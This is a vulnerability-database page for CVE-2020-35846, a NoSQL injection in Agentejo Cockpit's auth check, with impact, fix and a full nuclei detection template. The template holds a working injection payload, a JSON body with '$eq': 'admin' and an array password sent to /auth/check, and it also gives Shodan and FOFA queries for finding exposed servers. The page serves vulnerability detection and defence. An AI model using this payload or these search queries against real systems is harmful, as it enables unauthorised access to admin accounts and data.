HexBrain

Browse / CVEs / CVE-2020-35846

CVE-2020-35846· agentejo / cockpit· CWE-89

Agentejo Cockpit < 0.11.2 - NoSQL Injection

criticalseverity
9.8CVSS score
93.3%likelihood of exploitation, next 30 days
100%of all CVEs are less likely
Readycheck to confirm it

Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.

Impact

Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or data manipulation.

Fix

Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate the vulnerability.

How to confirm it

Send: POST {{BaseURL}}/auth/check
Positive when: contains "password_verify() expects parameter" AND status 200

Run it with nuclei: nuclei -id CVE-2020-35846 -u <target>. This check is not marked as verified by its authors.

The full check
id: CVE-2020-35846

info:
  name: Agentejo Cockpit < 0.11.2 - NoSQL Injection
  author: dwisiswant0
  severity: critical
  description: Agentejo Cockpit before 0.11.2 allows NoSQL injection via the Controller/Auth.php check function. The $eq operator matches documents where the value of a field equals the specified value.
  impact: |
    Successful exploitation of this vulnerability could lead to unauthorized access, data leakage, or data manipulation.
  remediation: |
    Upgrade Agentejo Cockpit to version 0.11.2 or later to mitigate the vulnerability.
  reference:
    - https://swarm.ptsecurity.com/rce-cockpit-cms/
    - https://nvd.nist.gov/vuln/detail/CVE-2020-35846
    - https://getcockpit.com/
    - https://github.com/agentejo/cockpit/commit/2a385af8d80ed60d40d386ed813c1039db00c466
    - https://github.com/agentejo/cockpit/commit/33e7199575631ba1f74cba6b16b10c820bec59af
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cve-id: CVE-2020-35846
    cwe-id: CWE-89
    epss-score: 0.93292
    epss-percentile: 0.99838
    cpe: cpe:2.3:a:agentejo:cockpit:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: agentejo
    product: cockpit
    shodan-query:
      - http.favicon.hash:688609340
      - http.html:"cockpit"
    fofa-query:
      - icon_hash=688609340
      - body="cockpit"
  tags: cve,cve2020,nosqli,sqli,cockpit,injection,agentejo,vuln

http:
  - method: POST
    path:
      - "{{BaseURL}}/auth/check"

    body: |
      {
        "auth": {
          "user": {
            "$eq": "admin"
          },
          "password": [
            0
          ]
        }
      }

    headers:
      Content-Type: application/json

    matchers-condition: and
    matchers:
      - type: word
        part: body
        words:
          - "password_verify() expects parameter"

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from